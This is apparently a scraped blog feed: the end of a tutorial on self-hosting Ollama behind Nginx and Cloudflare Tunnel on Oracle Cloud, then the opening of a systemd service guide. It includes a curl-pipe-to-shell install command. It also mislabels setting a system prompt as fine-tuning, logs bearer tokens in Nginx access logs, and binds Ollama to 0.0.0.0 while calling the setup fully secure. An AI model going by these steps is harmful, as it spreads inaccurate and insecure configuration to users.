<li><p>Consider multiple servers for redundancy</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-q2-how-do-i-update-ollama">Q2: How do I update Ollama?</h3>
<p>bash</p>
<pre><code class="lang-bash">curl -fsSL https://ollama.com/install.sh | sh
sudo systemctl restart ollama
</code></pre>
<p>Models stay intact during updates.</p>
<h3 id="heading-q3-can-i-fine-tune-models">Q3: Can I fine-tune models?</h3>
<p><strong>A:</strong> Yes! Ollama supports fine-tuning:</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Create a Modelfile</span>
nano Modelfile
</code></pre>
<pre><code class="lang-bash">FROM deepseek-coder-v2
PARAMETER temperature 0.8
SYSTEM You are an expert Python developer specializing <span class="hljs-keyword">in</span> Django.
</code></pre>
<p>bash</p>
<pre><code class="lang-bash">ollama create my-django-expert -f Modelfile
ollama run my-django-expert
</code></pre>
<h3 id="heading-q4-what-about-data-privacy">Q4: What about data privacy?</h3>
<p><strong>A:</strong> Complete privacy:</p>
<ul>
<li><p>All data stays on your server</p>
</li>
<li><p>No external API calls</p>
</li>
<li><p>No telemetry to Ollama/anyone</p>
</li>
<li><p>You control everything</p>
</li>
</ul>
<h3 id="heading-q5-can-i-use-a-gpu">Q5: Can I use a GPU?</h3>
<p><strong>A:</strong> Oracle Free Tier doesn't include GPUs, but you can:</p>
<ul>
<li><p>Use Oracle paid tier with GPU ($1-3/hour)</p>
</li>
<li><p>Use other providers (AWS, GCP, Azure) with GPU</p>
</li>
<li><p>CPU-only is fine for most use cases</p>
</li>
</ul>
<h3 id="heading-q6-how-do-i-add-more-storage">Q6: How do I add more storage?</h3>
<p><strong>A:</strong> Oracle Free Tier includes 200GB:</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Check current usage</span>
df -h

<span class="hljs-comment"># If needed, add Oracle block storage:</span>
<span class="hljs-comment"># - Go to Oracle Cloud Console</span>
<span class="hljs-comment"># - Create Block Volume (up to 200GB free)</span>
<span class="hljs-comment"># - Attach to instance</span>
<span class="hljs-comment"># - Mount and use</span>
</code></pre>
<h3 id="heading-q7-can-i-monetize-this-setup">Q7: Can I monetize this setup?</h3>
<p><strong>A:</strong> Yes, several ways:</p>
<ol>
<li><p>Sell API access to clients</p>
</li>
<li><p>Build SaaS products on top</p>
</li>
<li><p>Offer consulting for similar setups</p>
</li>
<li><p>Create niche AI applications</p>
</li>
</ol>
<p><strong>Legal considerations:</strong></p>
<ul>
<li><p>Check Ollama's license (Apache 2.0 - commercial use allowed)</p>
</li>
<li><p>Check individual model licenses</p>
</li>
<li><p>Comply with your local laws</p>
</li>
</ul>
<h3 id="heading-q8-what-if-oracle-shuts-down-my-free-tier">Q8: What if Oracle shuts down my free tier?</h3>
<p><strong>A:</strong> Backup and portability:</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Backup everything</span>
./backup-ollama-config.sh

<span class="hljs-comment"># Export Docker volumes</span>
docker run --rm -v open-webui:/data -v $(<span class="hljs-built_in">pwd</span>):/backup alpine tar czf /backup/open-webui-backup.tar.gz -C /data .

<span class="hljs-comment"># Export models</span>
ollama list  <span class="hljs-comment"># Note which models you have</span>
<span class="hljs-comment"># Re-pull them on new server</span>
</code></pre>
<p>Migration is straightforward - same setup works on any Ubuntu server.</p>
<hr />
<h2 id="heading-advanced-topics">Advanced Topics</h2>
<h3 id="heading-running-multiple-ollama-instances">Running Multiple Ollama Instances</h3>
<p>For high availability, run multiple Ollama instances:</p>
<p><strong>Setup on ports 11434, 11435, 11436:</strong></p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Create separate systemd services for each instance</span>
sudo cp /etc/systemd/system/ollama.service /etc/systemd/system/ollama-2.service
sudo cp /etc/systemd/system/ollama.service /etc/systemd/system/ollama-3.service

<span class="hljs-comment"># Edit each service file</span>
sudo nano /etc/systemd/system/ollama-2.service
<span class="hljs-comment"># Change: Environment="OLLAMA_HOST=0.0.0.0:11435"</span>

sudo nano /etc/systemd/system/ollama-3.service
<span class="hljs-comment"># Change: Environment="OLLAMA_HOST=0.0.0.0:11436"</span>

<span class="hljs-comment"># Start all instances</span>
sudo systemctl start ollama-2
sudo systemctl start ollama-3
sudo systemctl <span class="hljs-built_in">enable</span> ollama-2
sudo systemctl <span class="hljs-built_in">enable</span> ollama-3
</code></pre>
<p><strong>Load balance with Nginx:</strong></p>
<p>nginx</p>
<pre><code class="lang-nginx"><span class="hljs-attribute">upstream</span> ollama_backend {
    least_conn;
    <span class="hljs-attribute">server</span> <span class="hljs-number">127.0.0.1:11434</span>;
    <span class="hljs-attribute">server</span> <span class="hljs-number">127.0.0.1:11435</span>;
    <span class="hljs-attribute">server</span> <span class="hljs-number">127.0.0.1:11436</span>;
}

<span class="hljs-section">server</span> {
    <span class="hljs-attribute">listen</span> <span class="hljs-number">8080</span>;
    <span class="hljs-attribute">location</span> / {
        <span class="hljs-attribute">if</span> (<span class="hljs-variable">$http_authorization</span> != <span class="hljs-string">"Bearer YOUR_TOKEN"</span>) {
            <span class="hljs-attribute">return</span> <span class="hljs-number">401</span>;
        }
        <span class="hljs-attribute">proxy_pass</span> http://ollama_backend;
    }
}
</code></pre>
<h3 id="heading-implementing-caching">Implementing Caching</h3>
<p>Reduce redundant API calls with caching:</p>
<p>nginx</p>
<pre><code class="lang-nginx"><span class="hljs-comment"># Add to nginx.conf http block</span>
<span class="hljs-attribute">proxy_cache_path</span> /var/cache/nginx/ollama levels=<span class="hljs-number">1</span>:<span class="hljs-number">2</span> keys_zone=ollama_cache:<span class="hljs-number">10m</span> max_size=<span class="hljs-number">1g</span> inactive=<span class="hljs-number">60m</span>;

<span class="hljs-comment"># In your server block</span>
<span class="hljs-attribute">location</span> /api/generate {
    <span class="hljs-attribute">proxy_cache</span> ollama_cache;
    <span class="hljs-attribute">proxy_cache_valid</span> <span class="hljs-number">200</span> <span class="hljs-number">10m</span>;
    <span class="hljs-attribute">proxy_cache_key</span> <span class="hljs-string">"<span class="hljs-variable">$request_body</span>"</span>;

    <span class="hljs-comment"># Rest of proxy config...</span>
}
</code></pre>
<h3 id="heading-websocket-support-for-streaming">WebSocket Support for Streaming</h3>
<p>Enable real-time streaming responses:</p>
<p>nginx</p>
<pre><code class="lang-nginx"><span class="hljs-attribute">location</span> / {
    <span class="hljs-attribute">proxy_pass</span> http://127.0.0.1:11434;
    <span class="hljs-attribute">proxy_http_version</span> <span class="hljs-number">1</span>.<span class="hljs-number">1</span>;
    <span class="hljs-attribute">proxy_set_header</span> Upgrade <span class="hljs-variable">$http_upgrade</span>;
    <span class="hljs-attribute">proxy_set_header</span> Connection <span class="hljs-string">"upgrade"</span>;
    <span class="hljs-attribute">proxy_set_header</span> Host <span class="hljs-variable">$host</span>;
    <span class="hljs-attribute">proxy_read_timeout</span> <span class="hljs-number">86400</span>;
}
</code></pre>
<h3 id="heading-custom-model-repository">Custom Model Repository</h3>
<p>Host your own model repository:</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Create model storage</span>
mkdir -p /opt/ollama-models

<span class="hljs-comment"># Set Ollama to use custom path</span>
sudo systemctl edit ollama
</code></pre>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"OLLAMA_MODELS=/opt/ollama-models"</span>
</code></pre>
<p>bash</p>
<pre><code class="lang-bash">sudo systemctl daemon-reload
sudo systemctl restart ollama
</code></pre>
<hr />
<h2 id="heading-comparison-with-other-solutions">Comparison with Other Solutions</h2>
<h3 id="heading-vs-chatgpt-api">vs ChatGPT API</h3>
<pre><code class="lang-bash">FeatureYour SetupChatGPT APICostFree (after setup)<span class="hljs-variable">$0</span>.03-0.12 per 1K tokensPrivacy100% privateData sent to OpenAICustomizationFull controlLimitedLatencyMedium (no GPU)FastSetup complexityHighLowScalabilityLimited by hardwareUnlimited
</code></pre>
<h3 id="heading-vs-claude-api">vs Claude API</h3>
<pre><code class="lang-bash">FeatureYour SetupClaude APICostFree<span class="hljs-variable">$0</span>.80-24 per 1M tokensContext windowModel dependentUp to 200K tokensPrivacyCompleteData sent to AnthropicSpeedMediumFastQualityModel dependentVery high
</code></pre>
<h3 id="heading-vs-hosting-on-dedicated-gpu-server">vs Hosting on Dedicated GPU Server</h3>
<pre><code class="lang-bash">FeatureOracle Free Tier + CPUGPU ServerCost<span class="hljs-variable">$0</span>/month<span class="hljs-variable">$100</span>-500/monthSpeedMedium (3-5s/response)Fast (0.5-1s/response)Setup complexityMediumHighScalabilityLimitedHighModel sizeUp to 8B parameters70B+ parameters
</code></pre>
<hr />
<h2 id="heading-conclusion">Conclusion</h2>
<p>You've now built a complete, production-ready AI API infrastructure that:</p>
<p>✅ <strong>Costs nothing</strong> (using free tiers)<br />✅ <strong>Is fully secure</strong> (multi-layer authentication, encryption)<br />✅ <strong>Respects privacy</strong> (all data stays on your server)<br />✅ <strong>Scales reasonably</strong> (handles moderate traffic)<br />✅ <strong>Is maintainable</strong> (clear architecture, logging, monitoring)<br />✅ <strong>Is flexible</strong> (swap models, add features easily)</p>
<h3 id="heading-what-youve-learned">What You've Learned:</h3>
<ol>
<li><p><strong>Infrastructure as Code</strong>: Setting up services with configuration files</p>
</li>
<li><p><strong>Networking</strong>: Understanding tunnels, proxies, and routing</p>
</li>
<li><p><strong>Security</strong>: Implementing defense-in-depth with multiple layers</p>
</li>
<li><p><strong>Containerization</strong>: Using Docker for isolated services</p>
</li>
<li><p><strong>API Design</strong>: Creating and securing RESTful endpoints</p>
</li>
<li><p><strong>System Administration</strong>: Managing Linux services and resources</p>
</li>
</ol>
<h3 id="heading-next-steps">Next Steps:</h3>
<p><strong>Immediate:</strong></p>
<ol>
<li><p>Test your API thoroughly with various prompts</p>
</li>
<li><p>Set up monitoring and alerting</p>
</li>
<li><p>Create backups</p>
</li>
<li><p>Document your API for your team</p>
</li>
</ol>
<p><strong>Short-term:</strong> 5. Build an application using your API 6. Experiment with different models 7. Optimize performance based on usage patterns 8. Add rate limiting per user/API key</p>
<p><strong>Long-term:</strong> 9. Consider adding more servers for redundancy 10. Implement advanced caching strategies 11. Build custom fine-tuned models 12. Create a developer portal for your API</p>
<h3 id="heading-resources">Resources:</h3>
<ul>
<li><p><strong>Ollama Documentation</strong>: <a target="_blank" href="https://github.com/ollama/ollama">https://github.com/ollama/ollama</a></p>
</li>
<li><p><strong>Open WebUI</strong>: <a target="_blank" href="https://github.com/open-webui/open-webui">https://github.com/open-webui/open-webui</a></p>
</li>
<li><p><strong>Cloudflare Tunnel Docs</strong>: <a target="_blank" href="https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/">https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/</a></p>
</li>
<li><p><strong>Nginx Documentation</strong>: <a target="_blank" href="https://nginx.org/en/docs/">https://nginx.org/en/docs/</a></p>
</li>
<li><p><strong>Model Library</strong>: <a target="_blank" href="https://ollama.com/library">https://ollama.com/library</a></p>
</li>
</ul>
<h3 id="heading-community">Community:</h3>
<p>Join these communities for help:</p>
<ul>
<li><p>Ollama Discord: <a target="_blank" href="https://discord.gg/ollama">https://discord.gg/ollama</a></p>
</li>
<li><p>r/selfhosted on Reddit</p>
</li>
<li><p>r/LocalLLaMA on Reddit</p>
</li>
</ul>
<hr />
<h2 id="heading-final-thoughts">Final Thoughts</h2>
<p>Building your own AI infrastructure is more than just following steps—it's about understanding how modern cloud-native applications work. The skills you've gained here transfer directly to enterprise environments where these same patterns are used at scale.</p>
<p><strong>Key Takeaways:</strong></p>
<ol>
<li><p><strong>Separation of Concerns</strong>: Each component (Ollama, Nginx, Cloudflare) does one thing well</p>
</li>
<li><p><strong>Security by Design</strong>: Authentication and encryption at every layer</p>
</li>
<li><p><strong>Observability Matters</strong>: Logging and monitoring are not optional</p>
</li>
<li><p><strong>Automation is Key</strong>: Scripts and systemd services make everything reproducible</p>
</li>
<li><p><strong>Cost Optimization</strong>: Free tiers can run serious workloads</p>
</li>
</ol>
<p>Remember: The most secure system is one you understand completely. You now own every layer of your AI stack, from the network tunnel to the model weights. That's powerful.</p>
<hr />
<h2 id="heading-appendix-a-complete-configuration-files">Appendix A: Complete Configuration Files</h2>
<h3 id="heading-ollama-service-override">Ollama Service Override</h3>
<p><strong>File:</strong> <code>/etc/systemd/system/ollama.service.d/override.conf</code></p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"OLLAMA_HOST=0.0.0.0:11434"</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"OLLAMA_MAX_LOADED_MODELS=1"</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"OLLAMA_NUM_PARALLEL=2"</span>
</code></pre>
<h3 id="heading-nginx-configuration">Nginx Configuration</h3>
<p><strong>File:</strong> <code>/etc/nginx/sites-available/ollama-api</code></p>
<p>nginx</p>
<pre><code class="lang-nginx"><span class="hljs-section">server</span> {
    <span class="hljs-attribute">listen</span> <span class="hljs-number">8080</span>;
    <span class="hljs-attribute">server_name</span> localhost;

    <span class="hljs-comment"># Logging</span>
    <span class="hljs-attribute">log_format</span> api_access <span class="hljs-string">'<span class="hljs-variable">$remote_addr</span> - <span class="hljs-variable">$remote_user</span> [<span class="hljs-variable">$time_local</span>] '</span>
                         <span class="hljs-string">'"<span class="hljs-variable">$request</span>" <span class="hljs-variable">$status</span> <span class="hljs-variable">$body_bytes_sent</span> '</span>
                         <span class="hljs-string">'"<span class="hljs-variable">$http_authorization</span>" "<span class="hljs-variable">$http_user_agent</span>"'</span>;
    <span class="hljs-attribute">access_log</span> /var/log/nginx/ollama-api-access.log api_access;
    <span class="hljs-attribute">error_log</span> /var/log/nginx/ollama-api-<span class="hljs-literal">error</span>.log;

    <span class="hljs-attribute">location</span> / {
        <span class="hljs-comment"># Authentication</span>
        <span class="hljs-attribute">if</span> (<span class="hljs-variable">$http_authorization</span> != <span class="hljs-string">"Bearer YOUR_TOKEN_HERE"</span>) {
            <span class="hljs-attribute">return</span> <span class="hljs-number">401</span> <span class="hljs-string">'{"error": "Unauthorized"}'</span>;
        }

        <span class="hljs-comment"># Proxy to Ollama</span>
        <span class="hljs-attribute">proxy_pass</span> http://127.0.0.1:11434;
        <span class="hljs-attribute">proxy_http_version</span> <span class="hljs-number">1</span>.<span class="hljs-number">1</span>;
        <span class="hljs-attribute">proxy_set_header</span> Host <span class="hljs-variable">$host</span>;
        <span class="hljs-attribute">proxy_set_header</span> X-Real-IP <span class="hljs-variable">$remote_addr</span>;
        <span class="hljs-attribute">proxy_set_header</span> X-Forwarded-For <span class="hljs-variable">$proxy_add_x_forwarded_for</span>;
        <span class="hljs-attribute">proxy_read_timeout</span> <span class="hljs-number">300s</span>;
        <span class="hljs-attribute">proxy_connect_timeout</span> <span class="hljs-number">75s</span>;
    }
}
</code></pre>
<h3 id="heading-cloudflare-tunnel-configuration">Cloudflare Tunnel Configuration</h3>
<p><strong>File:</strong> <code>/etc/cloudflared/config.yml</code></p>
<p>yaml</p>
<pre><code class="lang-yaml"><span class="hljs-attr">tunnel:</span> <span class="hljs-string">YOUR_TUNNEL_ID</span>
<span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/etc/cloudflared/YOUR_TUNNEL_ID.json</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">ai.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:4000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">aiapi.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:8080</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">service:</span> <span class="hljs-string">http_status:404</span>
</code></pre>
<h3 id="heading-docker-compose-alternative-to-docker-run">Docker Compose (Alternative to docker run)</h3>
<p><strong>File:</strong> <code>docker-compose.yml</code></p>
<p>yaml</p>
<pre><code class="lang-yaml"><span class="hljs-attr">version:</span> <span class="hljs-string">'3.8'</span>

<span class="hljs-attr">services:</span>
  <span class="hljs-attr">open-webui:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">ghcr.io/open-webui/open-webui:main</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">open-webui</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"4000:8080"</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">open-webui:/app/backend/data</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">OLLAMA_BASE_URL=http://172.17.0.1:11434</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>
    <span class="hljs-attr">deploy:</span>
      <span class="hljs-attr">resources:</span>
        <span class="hljs-attr">limits:</span>
          <span class="hljs-attr">memory:</span> <span class="hljs-string">2G</span>
          <span class="hljs-attr">cpus:</span> <span class="hljs-string">'2.0'</span>

<span class="hljs-attr">volumes:</span>
  <span class="hljs-attr">open-webui:</span>
</code></pre>
<hr />
<h2 id="heading-appendix-b-useful-commands-cheat-sheet">Appendix B: Useful Commands Cheat Sheet</h2>
<h3 id="heading-ollama-commands">Ollama Commands</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># List models</span>
ollama list

<span class="hljs-comment"># Pull a model</span>
ollama pull model-name

<span class="hljs-comment"># Remove a model</span>
ollama rm model-name

<span class="hljs-comment"># Run interactive chat</span>
ollama run model-name

<span class="hljs-comment"># Show model info</span>
ollama show model-name

<span class="hljs-comment"># Check Ollama version</span>
ollama --version
</code></pre>
<h3 id="heading-service-management">Service Management</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Ollama</span>
sudo systemctl status ollama
sudo systemctl restart ollama
sudo systemctl stop ollama
sudo journalctl -u ollama -f

<span class="hljs-comment"># Nginx</span>
sudo systemctl status nginx
sudo systemctl restart nginx
sudo nginx -t
sudo tail -f /var/<span class="hljs-built_in">log</span>/nginx/ollama-api-access.log

<span class="hljs-comment"># Cloudflare Tunnel</span>
sudo systemctl status cloudflared
sudo systemctl restart cloudflared
sudo journalctl -u cloudflared -f
cloudflared tunnel info my-oracle-tunnel
</code></pre>
<h3 id="heading-docker-commands">Docker Commands</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># List containers</span>
docker ps
docker ps -a

<span class="hljs-comment"># View logs</span>
docker logs open-webui
docker logs -f open-webui

<span class="hljs-comment"># Restart container</span>
docker restart open-webui

<span class="hljs-comment"># Stop and remove</span>
docker stop open-webui
docker rm open-webui

<span class="hljs-comment"># Execute command in container</span>
docker <span class="hljs-built_in">exec</span> open-webui curl http://172.17.0.1:11434/api/tags
</code></pre>
<h3 id="heading-system-monitoring">System Monitoring</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Memory usage</span>
free -h

<span class="hljs-comment"># Disk usage</span>
df -h

<span class="hljs-comment"># CPU usage</span>
top
htop

<span class="hljs-comment"># Network connections</span>
sudo netstat -tlnp
sudo ss -tlnp

<span class="hljs-comment"># Process list</span>
ps aux | grep ollama
ps aux | grep nginx
</code></pre>
<h3 id="heading-api-testing">API Testing</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># List models</span>
curl http://localhost:11434/api/tags

<span class="hljs-comment"># Generate completion</span>
curl http://localhost:11434/api/generate -d <span class="hljs-string">'{
  "model": "deepseek-coder-v2",
  "prompt": "Hello",
  "stream": false
}'</span>

<span class="hljs-comment"># Chat</span>
curl http://localhost:11434/api/chat -d <span class="hljs-string">'{
  "model": "deepseek-coder-v2",
  "messages": [{"role": "user", "content": "Hi"}],
  "stream": false
}'</span>

<span class="hljs-comment"># With authentication</span>
curl https://aiapi.yourdomain.com/api/chat \
  -H <span class="hljs-string">"Authorization: Bearer YOUR_TOKEN"</span> \
  -H <span class="hljs-string">"Content-Type: application/json"</span> \
  -d <span class="hljs-string">'{"model": "deepseek-coder-v2", "messages": [{"role": "user", "content": "test"}]}'</span>
</code></pre>
<hr />
<h2 id="heading-appendix-c-troubleshooting-decision-tree">Appendix C: Troubleshooting Decision Tree</h2>
<pre><code class="lang-bash">API not responding?
├─ Cloudflare Tunnel issue?
│  ├─ Check: sudo systemctl status cloudflared
│  ├─ Check: cloudflared tunnel info my-oracle-tunnel
│  └─ Fix: sudo systemctl restart cloudflared
│
├─ Nginx issue?
│  ├─ Check: sudo systemctl status nginx
│  ├─ Check: sudo nginx -t
│  ├─ Check: sudo tail -50 /var/<span class="hljs-built_in">log</span>/nginx/error.log
│  └─ Fix: sudo systemctl restart nginx
│
├─ Ollama issue?
│  ├─ Check: systemctl status ollama
│  ├─ Check: curl http://localhost:11434/api/tags
│  ├─ Check: sudo journalctl -u ollama -n 100
│  └─ Fix: sudo systemctl restart ollama
│
└─ Network/Firewall issue?
   ├─ Check: sudo iptables -L -n
   ├─ Check: docker <span class="hljs-built_in">exec</span> open-webui curl http://172.17.0.1:11434/api/tags
   └─ Fix: sudo iptables -I INPUT -s 172.17.0.0/16 -p tcp --dport 11434 -j ACCEPT
</code></pre>
<hr />
<p><strong>Thank you for following this guide! If you found it helpful, consider:</strong></p>
<ul>
<li><p>Sharing it with others building similar systems</p>
</li>
<li><p>Contributing improvements via GitHub</p>
</li>
<li><p>Joining the community discussions</p>
</li>
</ul>
<p><strong>Happy building! 🚀</strong></p>
<hr />
<p><em>Last updated: November 2025</em><br /><em>Author: Kumar Chaudhary</em><br /><em>License: MIT</em></p>
]]></content:encoded></item><item><title><![CDATA[Complete Guide: Running Production Services on Oracle Cloud with Systemd and Cloudflare Tunnel]]></title><description><![CDATA[Introduction
Running applications on Oracle Cloud Infrastructure (OCI) requires more than just starting your server—you need a robust setup that ensures your services stay running, restart automatically after crashes, and survive system reboots. This...]]></description><link>https://article.kumarchaudhary.com.np/complete-guide-running-production-services-on-oracle-cloud-with-systemd-and-cloudflare-tunnel</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/complete-guide-running-production-services-on-oracle-cloud-with-systemd-and-cloudflare-tunnel</guid><category><![CDATA[Oracle]]></category><category><![CDATA[cloudflare]]></category><category><![CDATA[server]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Sat, 15 Nov 2025 22:56:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/eb0DNqbzrNU/upload/eba82d6fbae0bdc49cde9db85510adc9.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>Running applications on Oracle Cloud Infrastructure (OCI) requires more than just starting your server—you need a robust setup that ensures your services stay running, restart automatically after crashes, and survive system reboots. This comprehensive guide walks you through setting up production-grade services using systemd, the industry-standard service manager for Linux systems.</p>
<p>Whether you're hosting a Node.js API, Python web application, or any other service on an Oracle Cloud compute instance, this guide will show you how to configure everything properly using systemd alongside Cloudflare Tunnel for secure external access.</p>
<h2 id="heading-what-is-an-oracle-cloud-instance">What is an Oracle Cloud Instance?</h2>
<p>Before diving into the technical setup, let's clarify what we mean by an "Oracle instance." In cloud computing terminology, an <strong>instance</strong> refers to a <strong>virtual machine (VM)</strong>—a virtualized server running on physical infrastructure maintained by the cloud provider.</p>
<p>Oracle Cloud Infrastructure calls these compute instances, similar to how:</p>
<ul>
<li><p>Amazon Web Services calls them "EC2 instances"</p>
</li>
<li><p>Microsoft Azure calls them "Virtual Machines"</p>
</li>
<li><p>Google Cloud calls them "Compute Engine instances"</p>
</li>
</ul>
<p>Your Oracle instance is essentially a server running in Oracle's data center that you can access remotely via SSH. It has its own:</p>
<ul>
<li><p>Operating system (typically Ubuntu, CentOS, or Oracle Linux)</p>
</li>
<li><p>CPU and memory resources</p>
</li>
<li><p>Network interface and IP address</p>
</li>
<li><p>Storage volumes</p>
</li>
</ul>
<h2 id="heading-understanding-the-architecture">Understanding the Architecture</h2>
<p>When hosting a service on Oracle Cloud with external access, you typically need three components:</p>
<ol>
<li><p><strong>Your Application Server</strong> - The actual service you want to run (Node.js, Python, Go, etc.)</p>
</li>
<li><p><strong>Cloudflare Tunnel</strong> - Securely exposes your application to the internet without opening firewall ports</p>
</li>
<li><p><strong>Systemd</strong> - Manages both services, ensuring they run reliably</p>
</li>
</ol>
<h3 id="heading-why-use-cloudflare-tunnel">Why Use Cloudflare Tunnel?</h3>
<p>Cloudflare Tunnel creates a secure, encrypted connection between your Oracle instance and Cloudflare's edge network. This allows you to:</p>
<ul>
<li><p>Expose services without opening firewall ports</p>
</li>
<li><p>Route traffic through a custom subdomain</p>
</li>
<li><p>Benefit from Cloudflare's DDoS protection and CDN</p>
</li>
<li><p>Avoid dealing with dynamic IP addresses</p>
</li>
</ul>
<h3 id="heading-the-problem-with-manual-server-management">The Problem with Manual Server Management</h3>
<p>When you SSH into your Oracle instance and manually start your application:</p>
<p>bash</p>
<pre><code class="lang-bash">node server.js
</code></pre>
<p>Everything works fine—until you close your SSH connection. The moment you disconnect, your application stops running. Your subdomain becomes unreachable, and your service goes offline.</p>
<p>You could run it in the background with <code>nohup</code> or use <code>screen</code>/<code>tmux</code>, but these are development workarounds, not production solutions. They don't:</p>
<ul>
<li><p>Auto-start your service when the VM reboots</p>
</li>
<li><p>Automatically restart your application if it crashes</p>
</li>
<li><p>Provide proper logging and monitoring</p>
</li>
<li><p>Follow industry best practices</p>
</li>
</ul>
<p>This is where <strong>systemd</strong> becomes essential.</p>
<h2 id="heading-why-systemd-is-essential-for-production">Why Systemd is Essential for Production</h2>
<p>Systemd is the initialization system and service manager used by most modern Linux distributions, including Ubuntu (which commonly runs on Oracle Cloud instances). Think of it as the control center for all services running on your server.</p>
<h3 id="heading-key-benefits-of-using-systemd">Key Benefits of Using Systemd</h3>
<h4 id="heading-1-automatic-startup-on-boot">1. <strong>Automatic Startup on Boot</strong></h4>
<p>If your Oracle instance reboots due to maintenance, updates, or unexpected issues, systemd automatically starts your services without any manual intervention. Your application comes back online automatically.</p>
<h4 id="heading-2-automatic-restart-on-failure">2. <strong>Automatic Restart on Failure</strong></h4>
<p>Applications crash—it's inevitable. With systemd, you can configure services to automatically restart when they fail, minimizing downtime to seconds rather than hours (or until you notice and SSH in to fix it).</p>
<h4 id="heading-3-centralized-logging">3. <strong>Centralized Logging</strong></h4>
<p>Systemd integrates with <code>journalctl</code>, providing powerful, searchable logs for all your services. You can easily:</p>
<ul>
<li><p>View real-time logs</p>
</li>
<li><p>Search through historical logs</p>
</li>
<li><p>Filter by time period</p>
</li>
<li><p>Export logs for analysis</p>
</li>
</ul>
<h4 id="heading-4-resource-management">4. <strong>Resource Management</strong></h4>
<p>You can set limits on CPU usage, memory consumption, and other resources to prevent runaway processes from crashing your entire instance.</p>
<h4 id="heading-5-dependency-management">5. <strong>Dependency Management</strong></h4>
<p>Systemd can ensure services start in the correct order. For example, your Cloudflare tunnel should only start after your application is running.</p>
<h4 id="heading-6-industry-standard">6. <strong>Industry Standard</strong></h4>
<p>Systemd is the expected way to manage services in production Linux environments. Any system administrator will know how to work with it.</p>
<h3 id="heading-comparison-with-alternatives">Comparison with Alternatives</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763247063335/295683e5-31d5-4c33-b338-3bc75d604b6e.png" alt class="image--center mx-auto" /></p>
<p><strong>Verdict</strong>: While <code>screen</code>, <code>tmux</code>, and <code>nohup</code> work for development and testing, systemd is the only proper solution for production environments.</p>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>Before proceeding with this guide, ensure you have:</p>
<ol>
<li><p><strong>Oracle Cloud Instance</strong> running Ubuntu (or another Linux distribution with systemd)</p>
</li>
<li><p><strong>SSH access</strong> to your instance</p>
</li>
<li><p><strong>Your application</strong> already developed and tested</p>
</li>
<li><p><strong>Cloudflare Tunnel</strong> set up and configured (tunnel created, but not necessarily running)</p>
</li>
<li><p><strong>sudo privileges</strong> on the instance</p>
</li>
</ol>
<h2 id="heading-step-by-step-systemd-setup">Step-by-Step Systemd Setup</h2>
<h3 id="heading-step-1-identify-your-application-details">Step 1: Identify Your Application Details</h3>
<p>Before creating systemd service files, gather this information about your application:</p>
<ol>
<li><p><strong>Application type</strong>: Node.js, Python, Go, Java, Ruby, etc.</p>
</li>
<li><p><strong>Start command</strong>: The exact command to start your application</p>
<ul>
<li><p>Node.js: <code>node server.js</code> or <code>npm start</code></p>
</li>
<li><p>Python: <code>python3 app.py</code> or <code>flask run</code></p>
</li>
<li><p>Go: <code>./myapp</code> (compiled binary)</p>
</li>
</ul>
</li>
<li><p><strong>Working directory</strong>: Full path where your application code lives</p>
<ul>
<li>Example: <code>/home/ubuntu/tunnel-node</code></li>
</ul>
</li>
<li><p><strong>Port</strong>: Which port your application listens on</p>
<ul>
<li>Example: 3000, 8080, 5000</li>
</ul>
</li>
<li><p><strong>Environment variables</strong>: Any required environment variables</p>
<ul>
<li>Database URLs, API keys, NODE_ENV, etc.</li>
</ul>
</li>
</ol>
<h3 id="heading-step-2-create-systemd-service-for-your-application">Step 2: Create Systemd Service for Your Application</h3>
<p>Systemd service files are stored in <code>/etc/systemd/system/</code> and use the <code>.service</code> extension. Let's create one for your application.</p>
<h4 id="heading-for-nodejs-applications">For Node.js Applications</h4>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/systemd/system/myapp.service
</code></pre>
<p>Paste this configuration:</p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Unit]</span>
<span class="hljs-attr">Description</span>=My Node.js Application
<span class="hljs-attr">After</span>=network.target

